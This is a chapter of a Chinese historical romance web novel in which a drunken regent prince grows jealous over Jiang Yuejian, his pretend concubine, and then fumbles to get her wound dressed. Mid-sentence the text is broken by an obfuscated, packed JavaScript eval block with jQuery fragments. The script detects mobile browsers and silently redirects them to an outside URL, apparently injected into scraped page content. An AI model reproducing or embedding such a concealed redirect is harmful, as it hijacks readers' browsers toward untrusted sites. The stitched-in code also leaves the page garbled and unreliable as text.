一侧客房中,溯风闷闷不乐地将被子叠了又铺,铺了又叠。
定山在榻上翻来覆去,转了好几回身,终于问道:“你发什么疯?”
溯风将被子一撂,道:“流光辜负主子,我不喜欢她了。”
“你说的这叫什么话。”
“你没见主子方才表情吗,见到流光和柳如是在一起,他生气极了。”
定山道:“你忘了,今天这一切都是他们计划好的。”
“那主子的生气也是演的吗?”
定山微愣,叹了口气,才低声道:“不像是演的。”
“主子是不是喜欢流光?”溯风干脆撑起身子来,思量道:“可是,流光不是喜欢江颀风吗?”
定山亦是怅然,道:“流光姑娘为了找到江小将军,付出了许多。可怜主子独身二十多年,头一次对女子动心,便是这样的局面。”
“你说主子到底喜欢她什么?我们在蜀地,在金陵,遇到好多漂亮女子,主子也未曾动过心。”
定山望向烛火澄澈的正房,低叹道:“流光姑娘之坚毅果敢,与赤子之心,值得喜欢。”
二人对坐惆怅,哀叹声此起彼伏。
*
正房中,烛火微茫。
江月见察觉到谢徵玄不郁神色,不知缘由,只好自己吃力地抱着锦被往床沿挪动,欲铺到地上,再凑合一晚。
谁知她刚屈膝上榻,谢徵玄已走来,忽然伸手按住被角,他袖口蹭过她手背,混着酒气的温度带着雪松香略过她肌肤。
她这才注意到他眼尾泛红,素日束得齐整的玉冠微斜,几缕黑发散落在颈侧,随急促呼吸起伏。
江月见扯了扯被角,道:“殿下,我要铺地上睡觉。”
谢徵玄问:“为何?”
江月见不解,道:“不然难道同榻而眠?”
“为何不可?”他忽地倾身逼近,单膝压住被褥,眸光深沉,似深邃漩涡要将她卷入。
江月见惶然,低头避开他视线,指尖揪紧被面,道:“我只是假扮你的小妾,又不是真的。”
烛火葳蕤,在他喉结投下晃动的影,他的嗓音比往日更沙哑了三分。
“那你和柳如是做戏,怎么和真的一样?”
“不是……”她小声辩驳。
谢徵玄喉间滚过哑涩的笑,他忽然扣住她的手,攥紧她腕骨,道:“是这里,对不对?”
“什么?”
他的拇指重重碾过她脉搏跳动的肌肤,而后,食指在她掌心绕了个圈。
“他握过的地方,是这里。”
江月见这时才发现,他醉的不轻。
他呼吸灼热,欺身逼近她。
锦被自她指尖倏然滑落,江月见心如鼓捶,不禁蜷腿后缩,然而挣扎的动作却不经意压上他松垮的衣襟。他玄色外袍不知何时被扯开了系带,露出里衣领口洇着的酒渍。
她被迫后仰着陷进软枕,咬紧的下唇泛出齿痕与水光,手腕被他发烫的掌心死死按在被上。
“别动。”他氤氲着酒意的眼睛盯着她,喉结滚动一瞬,却在江月见闭眼侧头的瞬间,蓦地松开手转身,抓起铜盆边的素帕浸了冷水。
带着寒意的帕子突然裹住她手指。
谢徵玄侧坐在床沿,垂着眼睫,从她微蜷的指尖开始擦拭,指腹隔着湿帕重重按压她每处关节,每寸肌肤。
水珠顺着她发红的掌心滑进袖口,江月见呼吸渐缓,不再挣扎,只低声说:“殿下,你也醉了。”
她望着他低垂的侧脸,见他鼻尖沁着细汗,脸颊有绯色薄云。月光映着他的背影,而他薄唇紧抿,低头擦手的动作虔诚到似在礼佛。
帕子一次次浸湿,又一次次擦拭。
江月见挣扎着抽了手,轻声道:“我与殿下做戏时,早挽过你百遍。”
话音未落,手又被他捉住,他带着薄茧的拇指突然抚过她关节,说:“那也不行。”
一种难以言喻的细密的痒,自手心传到心口,她发愣地望着眼前人,掌心渐渐氤出薄汗。
从小到大,她接触过的年轻男子,除兄长外便只有容羡了。
容羡长她两岁,容氏长公子之身束缚颇多,他自幼清心寡欲,克己复礼,从不逾矩。
有一年花灯节,她悄悄溜出家门,买了几包饴糖,分别赠予了夏枕雪,彼时还未成为皇后的表姐沈妗妗,以及兄长和容羡。
旁人都欢欣地收下了。
唯有容羡,端方肃穆,一身青竹素衣,衣袂翩翩,玉树临风,分明才十六岁的少年,却老气横秋地朝她拱手道:“阿月,这于理不合,男女授受不亲。”
她吐舌将饴糖塞入他拱出行礼的手上,嬉笑着跑开了。
是夜,却见容羡夜访兄长,立于庭院中,身形萧萧肃肃,朗声道:“江兄,我今已与阿月私相授受,特来先问过江兄,我欲求娶阿月,可否?”
兄长吓得一个踉跄,追问他是怎么个私相授受了?
容羡凛然道:“我收了她赠予的饴糖。”
兄长这才收回下巴,古怪地看着他道:“我也有。夏枕雪和沈妗妗也有。”
“你是兄长,她们是女子,这不同。”
兄长哈哈大笑,拍了拍他恭敬的身形,道:“阿羡,莫怪哥哥没提醒你,先回去说服你那古朽老爹,再来我将军府求娶也不迟。”
她那时还小,也不懂得此事意味。后来渐渐长大,容羡也很少再来了。
直到如今,几经风雨,她成了摄政王的手中棋。
与他做戏,肌肤相亲,恩爱相称。若叫容羡知道,定要嘲笑她私相授受,于理不合了。
但大仇当前,她顾忌不了那么多。谢徵玄想来也和她一样,各怀目的,只能问迹不问心。
可此刻谢徵玄醉了,那双含情目似在她心底揭开一道细微的缝,穿堂风就这样趁机掠过,让她无法再忽视一些早该注意到的情绪。
“等殿下改明儿醒酒了,该后悔了。”
她由着他孩子般固执。
擦了不下十遍,谢徵玄终于满意了,朦胧的带着醉意的眉眼轻蹙了一瞬,他偏头看向她,问:“后悔什么?”
江月见轻声说:“殿下,我差一点就成功了。柳如是本来就要答应我,带我混入商队。只要能进入商队,我一定可以发现暗室的秘密,撬开他的嘴,逼他说出江颀风的下落。”
握住她指节的手倏然顿住,而后松开。
谢徵玄的眼中蒙了层晦暗的雾,他问:“你做这一切,都是为了他么?”
江月见望着他的眼,说:“不然呢?”
“我有办法让柳如是开口。”谢徵玄眼神中竟似掠过一丝哀求,但转瞬消逝,只余酒意混沌,他道:“无需你再出面。”
江月见固执地摇头,“救江颀风是我的心愿。我怎能弃之不顾,假手于人?”
谢徵玄轻笑,好似忽然醒了酒,淡淡道:“好,如你所愿。”
“殿下已帮了我太多。只是不知错过了今晚,还能找什么机会说服柳如是。”
“他已经上钩了。”
“殿下怎么知道?”
谢徵玄将帕子扣在案上,铜盆水光摇晃,映出他眼底微茫,月色将他的侧脸割据出晦暗不明的棱角。
烛芯忽然炸开,晚风被酿成微醺的暖雾,凝在他欲言又止的唇畔。
许是酒壮人胆,他的声音燃着旖旎的烛光,终究沙哑道:“你没有发现,他看你的眼神,和我一样么?”
彼此的身影在红烛光影间纠缠交错,他话里意味再明白不过,可江月见下意识想要逃避,只是仓皇地顾左右
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499644|170279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
而言他,说:“他……他和殿下一样,不过是醉了。”
何况,柳如是看她的眼神她知道,那是男人看女人的眼神。她之于谢徵玄,又何尝不过是个女人。
她自认容颜姣好,一路得谢徵玄照拂,多半是因了这张脸的缘故。
而以谢徵玄容貌气度,和那滔天权势,京城里早有无数高门贵女对他魂牵梦绕,便是出嫁前的表姐沈妗妗也曾多次提到他,似是芳心暗许。
她又何苦做那泱泱花海中的一个。
这些年,谢徵玄风流韵事不断,两情缱绻的美谈却是从未有过。
想来,也不过是个万花丛中过,片叶不沾身的风流浪子。
江月见不禁为自己一闪而逝的失落发笑,这两月来,才经大风大浪,又巧遇他殊途同归,戏做多了,真真假假难以分辨,连他们自己都险些沉到戏中去了。
他不过是醉了。
江月见后退两步,有心要与他拉开距离。
然而退后的动作不经意又牵起背后伤口,剧烈之下,她咬紧牙关,低头掩盖疼痛的轻颤。
谢徵玄转身离开的动作凝滞在空中,半晌后,他掀开纱帐,说:“我去找人给你上药。”
江月见冷汗自额间滑落,她摇头说:“殿下力用得巧,伤口虽见着重,实际伤得不深,熬两日便好了。找旁人来上药,多个眼线,于我们后面行事不便,还是算了。”
谢徵玄晦暗的眼眸扫过她分明还洇着血迹的烟紫色襦裙,说:“那我让尾生的妹妹来。”
江月见本痛得小脸微皱,闻言眼中笑着滚出泪光,说:“她才五岁,哪里会上药。”
谢徵玄冷冽的眼神坚硬地回逼,硬声道:“你伤那么重,于大计有碍。我去叫她了。”
江月见拿他没有办法。
*
已是三更了,睡眼惺忪的小孩被强行叫醒。
正要发作大哭,睁眼一瞧,见着眼前人好看却阴郁的眉眼,心下害怕,只好强行忍住了哭腔,可到底还小,情绪一时收不住,仍是撇着嘴想哭。
尾生一惊一乍地跳下了床,比划道:“哪里来的歹人!放下我妹妹!”
谢徵玄将小孩抱在怀中,生硬地转了个方向,见她下唇裹上唇,显然是就要哭出声来,只好皱着眉,试探性地拍了拍她的背。
小孩一顿,后背的轻拂让她瞬间想到有些记忆久远的娘亲,杏眼眨巴了两下,倏然嚎啕大哭。
尾生上蹿下跳,“大人!你干什么!”
谢徵玄惶然,像揣着个烫手山芋般夹带着妹妹快步行至正房中,而后,掀开床帘,快速将小孩端到被上。
小孩哇哇大哭,尾生一路尾随,拳打脚踢。
谢徵玄收回手,按住尾生的头顶,制止他以上犯下的动作,冷硬道:“先放在你这,我再去把大夫抓来教她。”
江月见恍惚地抱过啼哭的妹妹,忍不住伸手抓住他的衣摆,道:“殿下,你真的醉了。很晚了,明天再让人去找大夫吧。”
谢徵玄的头的确晕晕沉沉的,可他不觉得自己醉了。江月见是他亲自选定的暗棋,棋子受了伤,身为主人的他救护棋子有问题吗?
再者说,江月见名义上终究是他的爱妾,柳如是哪来的胆子敢动她的心思?是不是不将他放在眼里了?
谢徵玄心中怒气更盛,大掌按住尾生的头,无意识摩挲他细软的发。
“殿下,我也困了,叫他们都睡觉吧,好么?”
她声音软糯,谢徵玄脑中忽然掀起一道绯色的浪花,他木着脸,又夹起小孩,踹在怀中,快步朝侧房走去,喃喃道:“好吧,睡吧。”
尾生和妹妹就这样摸不着头脑地来回游荡了一番,奇奇怪怪地又睡了回去。
而定山与溯风房中,再一次迎来了半醉半醒的谢徵玄。